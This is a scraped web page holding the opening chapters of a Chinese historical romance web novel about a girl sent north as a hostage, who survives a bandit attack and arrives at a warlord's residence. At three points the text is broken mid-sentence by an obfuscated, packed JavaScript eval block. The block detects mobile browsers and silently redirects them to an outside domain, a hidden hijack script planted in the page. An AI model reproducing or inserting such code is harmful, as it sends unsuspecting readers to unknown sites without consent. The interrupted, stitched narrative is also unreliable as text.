《君心杳杳》 1. 北上 墨云翻涌，银蛇般的闪电划破天际照亮泥泞官道，惊雷轰鸣有摧天之势。林中朔风呼啸，倾盆大雨砸在车厢顶乒乓作响。 前后共百来铁骑拍成两列，护送马车前行。北上之路崎岖，元窈舟车劳顿本就心神不宁，又逢这等雷雨天，一张小脸被折腾得不见半分血色。 她身边老妪面露不忍，将人搂在怀中安抚，催问外面：“还未找到客舍？” 半晌，外面一男声铿锵穿透淅沥雨幕：“几百米后有一客店，小姐且在忍忍” “忍忍吧，小姐。”老妪将盖于元窈膝上的软被往上提了提。未料到这样的坏天气，元窈一身罗裙轻薄，这会儿已经被冻得半身冰冷了。 元窈蜷于她怀中，轻轻嗯了一声。 许久之后，马车终于停下。 她头重脚轻，昏昏沉沉不知身处何地，被半托半抬弄下马车，直到上阶时鞋尖勾住台阶，身体不受控往前摔时她才惊醒。 木板阶断木缺口乍眼，元窈神思一滞，恐惧地闭上眼睛，料想中的疼痛却没有到来，反而一个有力的手臂横于她两个肩头，一个巧劲儿将她的身体挡回去，身子后仰被两边女侍接住。 元窈睁眼，一颗心忽上忽下，水眸朦胧抬头望人，眼前人站于檐下，黑衣束身，头顶一硕大斗笠，夜色太深，看不清男人面容，有水珠一滴滴从他下巴上滴落。 “多谢大人。”她强撑出一抹浅笑，垂首道谢。 斗笠人无言，稍后才嗯了一声。 入舍后，老妪便问要热水，匆匆褪去她被淋湿的衣物服侍她入浴，不多时滚热的水就将她的身体捂得暖洋洋的。元窈身体放松靠在桶壁很快沉沉睡去，被唤醒后迷迷糊糊爬出浴桶，顾不得擦身就钻进被里。 窗外仍电闪雷鸣骤雨不歇，元窈下半张脸藏于被中，睡姿安详，脸色红润。 一睡入梦。 老妪再睁眼时窗外仍是一片暗沉，大雨滂沱不止，问过时间，她轻声将元窈唤起。 元窈已睡五个多时辰，睁眼迷迷糊糊称人：“桑娘。” 自被告知要顶替表姐之名北上，元窈日夜寝食难安，时隔多日终睡一次好觉，热粥入胃便将之前的愁苦排挤出去了。 桑娘将点心放在她眼前，此站之后再过一小城就是颍川郡，前路积水太甚，至少要等天晴才能启程。 不急着赶路，元窈便慢慢吃点心，一双杏眼望着窗外门外，可惜雨幕青灰，看不到什么。她心生失落，突然瞧见一身影挪至窗边，大斗笠极引人注意，看到它，昨晚的一幕幕霎时重现在元窈眼前。 桑娘注意到她的视线，随口说：“是个避雨的赶路人，听客舍主人讲自雨后他便在了。” 避雨？ 风雨交织，檐下哪儿能避雨？ 她蹙了蹙眉对桑娘道：“桑娘，您将他请进来歇歇吧。” 桑娘应下起身。 “诶。”她又觉不妥叫住桑娘，补充：“他若不肯，就拿些荤食打壶热酒送去。” 午时，紧锣密鼓的雨势转作细缕银丝，远山铅云俱散，两山之间架起一座若隐若现的虹桥，隐隐有放晴之势。 她正用饭，阵阵铁蹄声踏破堂内宁静，元窈好奇抬头张望。蹄声停，杂乱沉重的脚步声夹着木板摩擦的吱吱声传入耳畔，紧接着数个肩宽似虎的汉子鱼贯而入。 “店家！上热酒来！”声如洪钟，堂内的桌凳都震了震。 为首者粗布缠身，半臂裸露，一道长疤狰狞刻于肩头，腰带上一串长短不一的兽牙伶仃作响，长刀绑在身侧冷光闪烁，刀柄缠绕一圈圈麻绳末了坠着半截玉石。 这人往前走走了一步露出本藏在阴影中的脸，暗红刺青树根般攀枝错节盘于壮汉面上，再往上，一双三角眼狠厉狰狞……元窈瞳孔一颤，发觉这人饿狼盯着羔羊似的直勾勾看着自己。 她慌乱移开视线，余光瞥见黑压压一群人无一不是这般神态，未见过这般阵仗，她心里发怵，忙低下头紧紧握着筷子，手不受控制抖动着。 这一群人的模样装扮怎么看都不像良善之辈。 “小姐。” “小姐。” 桑娘叫了几遍她才回过神，元窈不敢有大动作，微微侧头看人。 “回房用饭吧。” …… 自午后那一点插曲后，元窈一直神情恹恹，任凭马车外风动竹叶萧萧，鸟鸣清脆婉转，她始终倚厢壁而靠，丢了魂一般。 只要一闭眼便想到客舍遇见的那些人，不同于宁慎让她气恼羞愤，那种眼神，她只瞥一眼便万分胆寒，哪怕已远远脱离仍惴惴不安。 忽地，马车猛地一震停了下来，她身子一晃险些在车厢中摔倒，桑娘也被惊醒忙将她扶起来，正欲探头去看外面是何情况却被元窈一双湿手拦住。 “何人如此嚣张！胆敢在此拦路！” 桑娘听出这是侍卫长的声音，顿感事情不妙。 马车外，二十个左右虎背熊腰的壮汉驾马将卫队团团包围，正是午时客舍那一行人。迎面三人中一人笑声猖獗：“你家小娘子貌美，快叫下来与我等吃酒！” “豫州刺史亲卫队，尔等焉敢放肆！” 听闻此言，他声音更显兴奋：“那里面可是刺史大人的千金小姐？小姐更妙哈哈哈哈哈哈！” 下流之语一字不落传进车厢，如雷贯耳。桑娘心底一沉，紧紧攥住元窈的手。常劳作的手并不粗粝，厚实温暖，元窈轻轻呼出一口气。忐忑一路，料想成真，她心底却不像之前面那般害怕，不动声色从坐垫下摸出那支才藏下不久的银簪，紧紧握在手里。 北上之行一在送质，二在呈礼庆武侯平疫之喜，两队先后出发，元窈一行只有三十多亲卫。 双方兵戈相见，一时打得不可开交，刀刃相撞炸出点点火星，阵阵铁器相碰声刺耳。桑娘听着外面的嘶吼吟声只觉得心惊肉跳，伸手搂着元窈口中念念有词，既是安慰她也是安慰自己。 乱战中，一道噔噔脚步声离车厢越来越近。 车门嘎吱一声被拉开，元窈抬头，最先是一股刺鼻的闷臭味，紧接着一脸横肉的男人裸半身探进车厢，桑娘被吓得尖叫。 一只黑黢黢的手弯曲成爪逼近，紧紧勾住她肩头，元窈痛到以为自己的骨头被捏碎了，使不出丁点力气反抗就被抓了出去。因为过度受惊她整个身体僵硬绷直，桑娘抓住她一块衣角没把人拦住，反而自己被连带拉过去扑通一声趴在车厢中。 “小姐！”一人喊着。 “快去保护小姐！”是侍卫长的声音。 元窈睁眼，她面朝地入眼就是两个死去的驾车侍卫，恶贼抓着她直直站在马车上，像是在告知同伙得手，像是在对亲卫挑衅。 元窈本就纤细被这种魁梧汉子擒在手中更显娇小柔弱，她的手臂好像要被扯断了，疼得牙齿发颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575399|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，眼角不自觉凝出两滴清泪。有人注意到他们，狞笑喊着：“可别这会儿给美人胳膊扯断了！折也不能折在这儿哈哈哈哈哈！” 贼人将元窈打横提起来换到另一边，胳膊铁筋一样圈着她的腰身，随后坐下来，笑声猥琐：“哈哈哈哈！这小美人好香！” “哈哈哈哈哈！！” 元窈被他们刺耳的笑声震得耳鸣，地上斑斑血迹更刺痛她的双眼，她身子颤抖，握着簪子的那只手又紧了紧。 马车驱动，四匹骏马同时冲出朝北一路疾行，撞散缠斗的人群。 马蹄踏起的风沙簌簌拍打在元窈脸上，痛得她睁不开眼睛。腰身还被人紧紧压着更动不了分毫，竟真的不能反抗！ 嘎吱一声，是车门响。 元窈突然想到了桑娘，她还在车上。 两人同时回头朝后看，只见桑娘半弯身子手捧一个大匣子高高举起，牟足劲冲男人头砸下来。 男人脸色一变，因另一手持缰绳，只得放开手中少女抵挡。元窈眼神一凛抓住时机一把按住男人的胳膊，五个指头狠狠抠着猛地起身。男人没料想到刚才鹌鹑一般的小人突然暴起，稍后两人陷他于自顾不暇之境。在匣子砸在男人头上的瞬间，元窈看准男人裸露的颈部闭着眼狠狠插下去。 “啊！！！”男人一声痛叫，一把抓住元窈的头发，想要将她丢下去。 元窈紧紧闭着眼，整个身子都在发抖，但那双手异常的稳，在男人动作之前将深陷皮肉中的簪子果断拔出，一道温热溅在她脸上，异常烫人。她却丝毫不犹豫，紧皱着脸、流着泪，再度狠狠捅下。 那只虎爪一样紧紧抓着她的手不知不觉就卸了力，但元窈不觉，还拼了命地往下捅。 “小姐……” “小姐！” “小姐！！” 元窈倏地睁开眼睛，只见桑娘一脸泪水表情又是惊恐又是担忧。她滞着，眼珠像涩住的木轮一顿一顿转动，僵直的视线落在自己手上——半条手臂都是血迹，恶匪半身鲜血淋漓，死不瞑目，眼中还有震惊。 她……杀人了。元窈直直盯着自己的手，心跳声砰砰震耳，整个心都要跳出来一般。 她真的杀人了…… “呜……”元窈发出恐惧的悲鸣，颤巍巍收回自己的手，手中银簪不知何时断了，只剩一块簪头被她紧紧攥着。她后知后觉恐惧起来，惊叫一声丢开簪头，身子一倒险些掉下马车。 马车越走越缓，桑娘最先反应过来，双手抱着元窈将她拖到自己身边，拼尽最后力气将恶匪硕大的身体推下马车。 元窈傻着一只胳膊撑着跌坐在木板上，浑身颤抖不已，匣子硌着腰还浑然不知。桑娘知道她吓坏了，想把她抱进怀里，可元窈却身子一抖，连连往后蹭。 “我……我……我杀人了……”元窈直勾勾地看着车板上留下的血迹，鼻尖尽是浓重的血腥味，她从没觉得这么冷过，骨头都冻得生疼。 “别怕，小姐……别怕。”桑娘也是惊魂未定，她小心地靠近元窈，慢慢将人搂进怀里，轻道：“不怕、不怕……” 持匕首刺进皮肉的感触尚在她脑海中，元窈眼前浮现那男人半身血迹狰狞的模样，她哆嗦着闭上眼睛，紧紧抓住桑娘的衣裳…… 马车缓缓停下，四下寂静无声，但元窈耳边确实匕首刺进皮肉的声音和男人痛苦的吟叫…… 嗒——嗒哒—— 2. 得救 元窈脊骨僵紧，像是一只应激的猫，滞了两息，她忽地睁开眼睛。是谁追上来了？亲卫还是那伙凶贼？ 她匆忙从桑娘怀里爬出来撑着身体往马车后面看——几道黑影疾行。 亲卫身有铁甲，远看绝不会是这样。 桑娘还不清楚状况，怀里一轻她才回过神，也是这时元窈跌回来一双泪眼绝望：“桑娘……马车……” 元窈的心几乎跳到喉口，堵得她没法张口也没法呼吸，几乎憋着气吐出一句话：“你……驾车……” 嗒——嗒—— 马蹄声震耳，桑娘恍然，可她一介妇人哪里会骑马驾车。桑娘跳下马车，元窈紧紧跟着，桑娘将她的衣裙拽起来掐成一团塞回她怀里，推着人催促：“小姐，往林子里跑！” 元窈抱着衣裙奔进高草中，桑娘手忙脚乱打开车板上的匣子拿出夹层最下面的匕首匆匆去追元窈。 才经一场大雨，林中湿滑，每每落步鞋底都深陷泥泞之中，才走出不远脚下已积出厚重的泥土，风吹树叶作响簌簌落下冰凉的水珠。 “给我找！一个小姑娘能跑多远！” 一道喝声入耳，桑娘心中咯噔一下，没想到他们这么快就追上来了。 又走几步桑娘脚下寸步难行，不得不停下清理泥土，回头看才发现自己一路拨草而来能轻易看出一道轨迹。她顿感懊悔，加快脚步逃命，元窈不如她受得住奔波，她很快就发现前面异动的蒿草，几步追上元窈。 后方男人骂声越来越近，元窈踉跄几步后脚底一滑跌坐在地上，桑娘赶紧扶她起来。嫩粉罗裙被浸透紧紧贴附在元窈身上，湿冷的寒气渗透身体冻得她手脚发麻，两瓣柔软的嘴唇被咬得嫣红，她实在没什么力气了，推开桑娘的手：“你先走吧桑娘。” 桑娘不想放弃坚持要扶她起来，两人拉扯间那把匕首掉了出来，元窈顺势捡起匕首再次推开桑娘，眼中闪过一抹决绝。 桑娘自然注意到了，她没想到元窈柔弱的外表下竟然有这样一颗宁折不弯的心，她蹲下用衣袖将元窈脸庞的血迹擦干净，盯着这张难得漂亮的脸，低声劝：“姑娘，人只有活着才有希望，死了，便什么都没了。” “在这附近找！我就不信找不到！” 元窈身子抖了抖，这一刻才忽然觉得冷。 遍体生寒。 她微不可察的摇了下头，紧紧抓住桑娘的手，“我们……绕回去。” 趁着那几个山匪还没找到这边，元窈带着桑娘从另一个方向蹲着一点点往回挪，林中杂音很好的掩盖住两人行动的声音。 见一直找不到人，为首的山匪不由得怒火中烧，一个小姑娘竟然害了他最得力的手下！他站于高处握刀的手紧了紧到底是没压住火气怒喝一声转身狠狠砍向身旁的树，积压在树叶上的雨水簌簌掉落尽数林外他身上，青筋四起的臂膀更显狰狞，他眯着眼睛粗喘，下方蒿草的异动引起他的注意。 他站直身体，居高临下，一眼就瞄到蒿草下一个粉色的身影，“在那！”他指着下面喊着。 元窈听到他的声音回头就看到上面的人正指着自己，两人站起身往下飞奔。坡缓但林中异常滑，她奔着树跑，连跑带跌往树上撞以免摔倒，桑娘比她利索得多，两人落开几步远。 一颗石头从后面飞来直直撞在元窈肩上，印出一块血痕，元窈闷哼一声摔在地上，尖锐的痛感潮水般蔓延至整个肩膀。 “死丫头！”一声怒骂敲痛耳根紧随而来的就是头发被撕扯的疼痛。 熊掌似的手抓住元窈头发将她的脸拧过来，这人扬起手想要教训这个不听话的少女，但在看清那双盈满泪水楚楚可怜的眼眸时蓦地僵住，少女发丝凌乱，有一种不能言说的美感。 元窈怕得不自觉发出呜呜的颤声，山匪顺着她小巧的下巴往下看，一把抓向她胸前的衣襟，狰狞可怖的脸尽是淫，色：“折了老子这么多弟兄，老子非要在你身上讨回来！” “啊！！！！”元窈闭眼尖叫，双腿乱蹬，双手握着匕首拼命在身前乱晃，冷不丁划了山匪的胳膊，山匪没想到她手中还有武器，忙躲开后退两步，随后反应过来眼前不过是一个娇弱的小姑娘，便阴沉着脸再度朝她伸手。 咻—— 一把箭矢破空而来正中山匪腿部，元窈也听到耳边一道撕裂声，她睁眼又见数道箭矢穿过，又一支中山匪右胸一支中腿。 “老大！”“快走！”追上来的山匪挡箭的同时拖走那人。 劫后余生，元窈直愣愣的看着他们。 箭矢距离有限那几个山匪很快就逃到安全的范围，有一山匪回头看向元窈，眼中闪现一抹杀机，恰一支箭中于他脚下，他捡起投向元窈。 没有角弓，只是手投，那支箭便携千钧力而来。在看到他动作时，元窈头皮紧着下意识躲，可她知道这次躲不掉了，锋利的箭头有追风之势，自己却筋疲力竭行动迟缓。 她第一反应就是拧过身子躲，这样即使没躲过也不会伤及要害，已经这么努力了，她不想死…… 乒铛—— 元窈应声去看，一把长剑斜插于地上将奔她腰腹而来的箭打飞。 余光一道身影闯入，元窈仰头，一顶斗笠入眼，紧接着她便被一双强健有力的双臂抱起来。 男人身上潮凉，那只覆于她肩头的手却温暖。 “没事了。”声音低沉悦耳。 语气万分温柔，明明素不相识，元窈却觉得安心，她眼眶瞬间滚热，脸贴在男人肩头哭了起来。 这次……真的得救了。 一缕清清淡淡的香气蔓到鼻尖，少女低泣声可怜，听得男人心尖一颤。 豫州自古为兵家必争之地，自三年前梁王猝，各级州郡或是归降霍、秦或是自立门户，唯豫州刺史宁远昭固守豫州十三万兵马，既不归降于秦王也不响应武侯号召。武侯霍褚欲直攻豫州，门下谋士却谏言徐徐图之。 豫州之地，主要兵力齐聚南下四郡，西三郡为官者不治，匪患猖獗，霍褚早有预料，却不想在颍川郡几百里之外就有这等穷凶极恶之徒。 霍褚将怀中人放回马车里交予那妇人，一人骑马疾驰而来，临近翻身下马行礼，沉声道：“禀大人，共擒下山匪十六人。” 霍褚冷声，面无表情：“就地正法，曝尸沿途以示警醒。” 霍垣匆匆从林子里追出来，他又没追上那几个逃跑的山匪，又没看到那姑娘，顿感受挫。 他来时看过那具尸体，粗壮的脖子硬是被捅出一个血窟窿，一截簪针还插在血眼里。 刚才看那身形不过是一个瘦弱娇小的姑娘……可真不得了。 …… 次日，霍褚霍垣赶在宵禁前进城，方应知听闻武侯归来，不顾夜色将至携一封书信匆匆赶往衙署。 院里芍药含苞，晚风卷一丝冷香袭来，屋里烛光倒影轻晃，照得几个字扭曲。霍褚览后随手将信纸扔在书案上，冷笑道：“他信中伏低做小却不肯归降于本侯，意在周旋。” 萧因也看过这封信，他心有不解便问方应知：“宁远昭贡粮献马，又将他女儿送来……是要做人质？” “其子尚在，送女而来是有远谋啊。” 霍垣听得云里雾里，拾起信纸匆匆扫过一遍，哼了一声：“豫州已失，他借口豫州民生惨淡讲和，大张旗鼓送质却不归降，是想自立为王？” 他刚说完，又想到前几日陈郡所见所闻，转对方应知道：“陈郡不过几千将士，百姓陆续南迁，他莫不是对我等讲和转而向秦铎投诚？” 方应知悠悠摇头，不语。 自梁朝覆灭，百姓苦战久矣，后时疫肆虐民不聊生，霍褚停战又复兴兵已有民怨，现宁远昭求和，豫州万民请愿…… “算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575400|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算日子，这几日他们也该到了。” 宁远昭在呈礼的同时送信，书信只早几天到，就是要霍褚不好拒绝。 霍褚瞧了方应知一眼，眸光转至霍垣愤愤的脸上，声音平静但不容置疑：“事已至此，霍垣你便去看看宁家女，若称你心意便书信叔父叔母告知，收入房中，日后你便领兵替你岳父清剿豫州匪患……” 攻打颍川郡是即兴之举，霍褚原就想秋后再议收复豫州事宜，宁远昭主动求和，顺水推舟应下便是。 霍垣不可置信指着自己：“我？” 怎么说着说着突然给他指了门亲事？ “太早了吧堂兄，下月生辰后我才十八。” “大丈夫先成家后立业，不早。” 成家立业？霍垣听着更觉得可笑，尤其这话出自霍褚之口，他想反驳，方应知却认为可行附和霍褚。见此，他也只能咽下到嘴边的话。 众人散去，霍垣还想同霍褚转圜却被一记冷眼瞥回去，只得燥着脸去追方应知。 “方大人，你怎么也不劝劝堂兄，他二十有三比我还急才是！” 方应知道：“宁远昭其心不诚，若主公与其结亲，日后宁远昭投于秦铎，于主公不美。” “那不还有陈家女、徐家女、陶家女？”他说的不只是宁家女，前武安侯老来得子，霍褚十三岁时丧父，其母日夜以泪洗面一年后撒手人寰，比起他，霍褚更是孤家寡人一个，更该说门亲事。那么多世家权贵送女想与霍褚多一分关系，这于霍褚百利无害怎么也不见他们这些谋士劝劝？ 方应知这才看出霍垣是在意霍褚房中无人，他苦笑：“主公不愿，方某也无可奈何。” “那我也不愿啊！” 方应知视若罔闻，自顾自叹息离去。 …… “姑娘，开窗透透气吧，颍川郡看着可比汝南郡还要繁华呢。”桑娘看得欣喜，忙给元窈带上面纱，也叫她往外瞧瞧。 自上次事后，桑娘裁了一块轻纱让她时时用着，桑娘对元窈呵护备至，两人愈发亲厚。 元窈伸手推开三指宽的小缝往外看。 颍川郡西接洛阳、南临汝水，是难得的富庶之地，可惜半年前受时疫作祟，短短两月便流失一半人口之多，传闻在武安侯未收复之前，颍川郡及周边百姓大多都已迁走，同荒地无异，于舅父而言已是弃子。 不过……现下青石道上车水马龙，管弦之乐不绝于耳，各类摊贩看得眼花缭乱，人群熙攘车马难行……她都不曾在汝南郡见此盛况。 看了一会儿稍作感慨元窈便将车窗拉上，颍川郡如今这般生机盎然，舅父怕是难请武侯退兵了。 桑娘见元窈神情又现怅然也不似方才雀跃，她顺着一点缝隙瞥到外面景象，已进颍川郡，便要拜武侯了。 “姑娘可有何打算？” 桑娘虽为仆役但也听过诸侯之事，传闻武侯冷血残酷，有雷霆手段，是天降煞神近身之人都不得善终…… 初听要将四小姐送于洛阳为质，她万分心痛，现下元窈代名而来，身负重任，她也委实心疼。 “顺其自然吧。”她轻答。 事实上，元窈心中有一个不甚成熟的打算。 传闻武安侯狠厉无情不近女色，若依听舅父之言取他欢心，难成。倘若成，日后舅父转投秦铎，武安侯定会对她心存芥蒂，无论谁成就霸业，她都难得善终。这是一眼望到头的死路。不过武安侯麾下良将颇多，她此行为质未必入住侯府，倘若能与旁人相交，她可趁此寻求依靠。顶表姐之名，若能成一将之妻，就算舅父转投秦铎，武侯也不会施压于她。 元窈弯曲食指碰了碰自己面颊，只求这副容貌能帮她寻得良人。 良人……元窈脑海中再度闪过那个斗笠人的身影，那时她哭了两声便晕过去了，还未来得及答谢，连他是什么人都不知道。 3. 武侯府 近些日子阴雨连绵，颍川郡几十里外的常青山被山洪冲塌了半个山身，滚滚泥石淹了一连七八个村庄。 豫州卫队到时，武安侯已去处理灾情，方应知按照吩咐安置豫州卫队，元窈被带入内宅。 “姑娘且先在此等候，小人这便去寻二公子。” “有劳了。” 元窈由刘伯领入正厅落于客座。 刘伯走远，桑娘在元窈身侧低声：“衙署里怪冷清着。” 从门口一路走到内院，只看到一个小厮清扫，整个衙署瞧不见半点景观，尽是参差不齐的草、伐了半截的树，承重的柱子都掉了一层漆。莫说和豫州刺史府比了，就是和些小门小户比起来都要破败。 元窈早有注意，实际上，临到衙署时她便意识到颍川郡非她初进城时看到的那般繁华。穿过那条街后行人四散，街道就显得冷清，许多房屋门窗紧闭，甚者门窗不知何处出去了，里面一片狼藉。真有了百姓因时疫逃散、城内遭山匪洗劫的样子。 …… 宝蓝勾纹靴下生风，霍垣才练完武换了身靛蓝锦袍，腰间一串玉饰碰撞声叮叮悦耳，清亮色彩正配风华正茂之年更显他风流雅致、俊朗不凡，只是他面上带着三分不耐：“堂兄没吩咐如何安排？” 刘伯一句话打磨圆吐出来：“是叫方大人安排的，但方大人说没有合适屋宅，让我安排在衙署内宅，我才来请公子定夺。” 颍川郡确实情况不同，霍垣体谅，可安排在衙署内……初到颍川郡时，衙署都被拆了一半，修缮两个多月堂前才勉强能看，内宅统共就两个院子收拾出来能住人，该把她安排在哪儿？ 远远瞥见一抹粉色身影，霍垣叹了一口气，掩去愁丝。 元窈瞧见人来了便站起身，正对他。 迈过门槛，霍垣抬头，蓦地，念叨一路的话到嘴边却咽了下去，一双眼睛落到那张脸上便被黏住了，硬是扯不开。 刘伯走到两人之间，没察觉到霍垣的异常，平了平气息，有停有缓对元窈道：“宁姑娘，这是我们二公子。” 元窈垂下头，轻声唤人问好。 眼前失了颜色霍垣回过神，少女轻柔柔的嗓音似羽毛一般扫过耳垂，他五感尽失了一般，心脏莫名发痒。 霍垣许久不应，刘伯才觉不对，轻咳一声叫两人先坐。 霍垣可算是被唤回来，他没想到自己这样失态，强撑着和元窈客气说话，耳尖微微红了。 元窈一边斟酌闺中小姐该如何用词说话，一边细致入微偷偷观察，自然瞥见那一抹热红。 霍垣之前在冀州也是见过形形色色的官家小姐的，但这么漂亮的还真是头一次见到。像朵粉嫩嫩的娇花，让人爱不释手，怎么看都看不够，不知不觉就说了好多话。 原只是简单寒暄，说着说着他近乎把人家北上一路每日做了什么都问出来了，听她讲到前两日因雨受困便想到那日的际遇，于是关心道：“颍川郡之南匪寇猖獗，宁姑娘一路而来可有受到惊扰？” “不曾，有亲卫照顾一切顺利。”元窈答。 遇匪之事是定不能透露出去的。纵使她从强匪手中全身而退，传出这门，少不了人捕风捉影胡乱说话，不如烂在心里安生。 霍垣已把能问的问完了，但还想再听宁家女说话，暗暗搓着手心想还能说些什么，刘伯在一旁等得急了，催他一声：“公子，还未给宁姑娘安排住处呢。” 对！住处！ 霍垣现已想出该将宁家女安在何处：“西院荒废多时，这几日我派人加紧打理，东院的厢房一直有人清扫，宁姑娘不如先暂住些日子？” 东院，是他的住所，厢房隔着院子对着东院大屋，左右堂兄都说要……和他暂住一院也没什么关系吧？ 刘伯觉得不大合适，但眼下确实没别的住处了。 元窈垂首道谢：“杳杳谢过公子。” 说完自己便愣住了。一时嘴快，不慎说漏了名字。 桑娘惊得手都握紧了，不自觉往前迈出半步，嘴唇一哆嗦掉出来一句话：“小姐……公子，小姐连夜乘车而来尚未休息，可否许奴先带小姐下去小憩？” 宁家女夜里奔波而来，于衙署外候了一个多时辰不说，还被他拉着闲谈。霍垣顿觉失礼，忙叫刘伯带她们去厢房。 元窈起身道别，桑娘过来扶住她的胳膊，对视间重重看她一眼，像是责备。 元窈总爱这样自称，并非一朝一夕改得了的，起先她一直小心谨慎，几次话到嘴边咽下去，但听到霍垣要她住在东院，一时暗喜放松警惕便说漏了。 武安侯定是住在正院正房，东院多半便是霍垣的住处。 遭匪那日随行的侍女有死有伤，眼下只有桑娘一人在元窈身边照顾，衙署里不见下人，元窈不是真的十指不沾阳春水的小姐，和桑娘一起收拾行李。 最后一个箱子装的是临行前赶工出来的各类衣裙，尽是元窈叫不出名字的好面料。她将衣物整理出来，最下面有一个檀木浮雕盒，极重，用了好大力才从能抱动，里面是各式各样的首饰，个个做工精美绝伦。 收拾得差不多了，桑娘把这些日子元窈常用的几件首饰捧过来一并放进浮雕盒中，选出一些不张扬的银饰和珠串摆到梳妆台的匣子里，再将浮雕盒放好。 元窈见她辛苦为她倒了一杯茶，桑娘承不起她的情，站着接过喝下，得了清闲便提起厅中事。 “姑娘说话行事该再小心些，索性无人知晓四小姐乳名，到好糊弄过去。” “我记下了。”元窈面有愧色。 元窈之名，是阿母去世前才为她取得的，此前一直名唤杳杳，一时难改。 不大的地方，可活动的就两间院子，桑娘想找个仆役闲聊打探情况的机会也无，寻刘伯问了一些事宜便把衙署情况了解了七七八八。用午饭时便将问到的转讲给元窈，末了嘀咕一句：“武侯难道不知姑娘此来用意？他们安排姑娘和霍公子居一院实在不妥。” 元窈恰吃完了，便说：“应是武侯不喜我，又不好拒舅父，想将我推于二公子。” 在霍垣说要她暂住东院厢房时她便猜到这一层了。书信早到颍川郡，武侯不会看不出舅父意图，不将她安置于衙署外便是允舅父送女之意，但若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575401|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有心纳她，不说将她安于正院也该另寻一处，让霍垣安排且住于他院中，是何意图昭然若知。 桑娘大惊：“果真？那姑娘可得想个法子啊，老爷不是还要姑娘——”“我现寄人篱下苟且度日，不宜妄动。”元窈声音微凉。 衙署统共才四个小厮一个厨娘，霍垣还称要加紧打理西院，可怜刘伯肩头入土的人也得跟着忙活。 霍垣本是要去瞧瞧城内景象，原城里不过几百口百姓，这两月陆陆续续回来许多，但城西一片遭乱，还空着大半城，偌大的城池，不到千口百姓哪儿像样子。但接见了宁家女后，心里始终惦念觉得不该离开，府上都没些使唤杂役，也没见宁家女带来丫鬟在旁伺候。 越想他就越烦闷，堂兄他日南下伐秦，事成就是一国之君，如今也是一方诸侯，居于颍川郡却连府上伺候的人都置备不齐？ 踱步到正院，有窸窣声入耳，是西院那边传来的。霍垣走进去看见刘伯正带两个小厮清扫，便道：“刘伯，西院暂不用打理。” 常青山一代受灾的村民将要入城，急需清扫衙署接济灾民，调来的官兵未到，正是缺人手的时候，实在没必要过来打扫一间院子。 刘伯纳闷：“不是公子说——”“借口罢了，这也是堂兄的意思。”他之前不愿，执意要将宁家女安排别处去，霍褚便不管他了，哪知道方应知就把安置之事踢回给他处理，也幸而如此。 刘伯人精一样联系前些日子霍褚、方应知等人的只言片语和霍垣今日表现，顿时明了。于是放下手中扫帚，笑有深意：“看来二公子甚是喜欢宁小姐。” “哪儿有。”霍垣脸色微红，道出本心：“喜欢不喜欢说得太早了罢，她实在貌美，我欢喜之罢了。” 食色，性也，霍垣坦诚。 他正纠结，便问刘伯：“刘伯，你说我要回东院是不是该去关心她几句，以尽地主之谊？” 十七八的男儿，正是情窦初开时，刘伯知他心思，顺他意道：“宁小姐休些时辰了，回水楼今儿有傩戏除祟，二公子邀宁小姐城东小逛再去听戏方尽地主之谊。” 霍垣觉得此言甚是有理，驱小厮去堂前后信步而去。 元窈午睡刚醒，桑娘为她梳妆，闻脚步声近桑娘便迎到门边，见是霍垣着实愣了一下。 霍垣未觉，心情甚好，语气格外温和：“宁姑娘还在休息？” “回公子话，小姐已醒了，可要奴去唤人？” “不必不必。”霍垣往里望了一眼，房深，瞧不见什么，“我……宁姑娘才来颍川郡，府上简陋无趣，我想邀她到城东小逛解闷，你且替我问问她有意否。” 元窈听到二人谈话，自然应下。霍垣雀跃自提于厅等候，留元窈打扮。 桑娘本还对元窈午时所言将信将疑，现在全然信了，事有偏离她一颗心悬着，几次扯到元窈的头发。 元窈同样心不在焉，怔怔看着镜中的自己。 将她置于东院或许是武侯授意，但霍垣邀约多出于他本心……为何呢？只因这一张面容吗？ 可以色侍人，终不过是他人掌中玩物罢了。 4. 邀约 桑娘被刘伯留在府上，霍垣一人驾马车带元窈出去。 入城那条街的摊贩多，来来往往什么人都有，霍垣不想冲撞元窈，驱马换了一条街，摊贩不多，巧的是卖的都是女子常用的物件。 霍垣停好马车，单膝跪在车板上，拉开车门伸出一只手，状作要扶元窈下来，半大少年已有成男之姿，手掌宽大，手指修长骨节分明。 这是要……元窈自然知晓他在做什么，只是她犹记阿母曾教导女子未出阁是不能和男子亲近的，成亲之后才只能与夫君亲密。若是表姐，应当是更不许和男子肌肤相贴的才对。 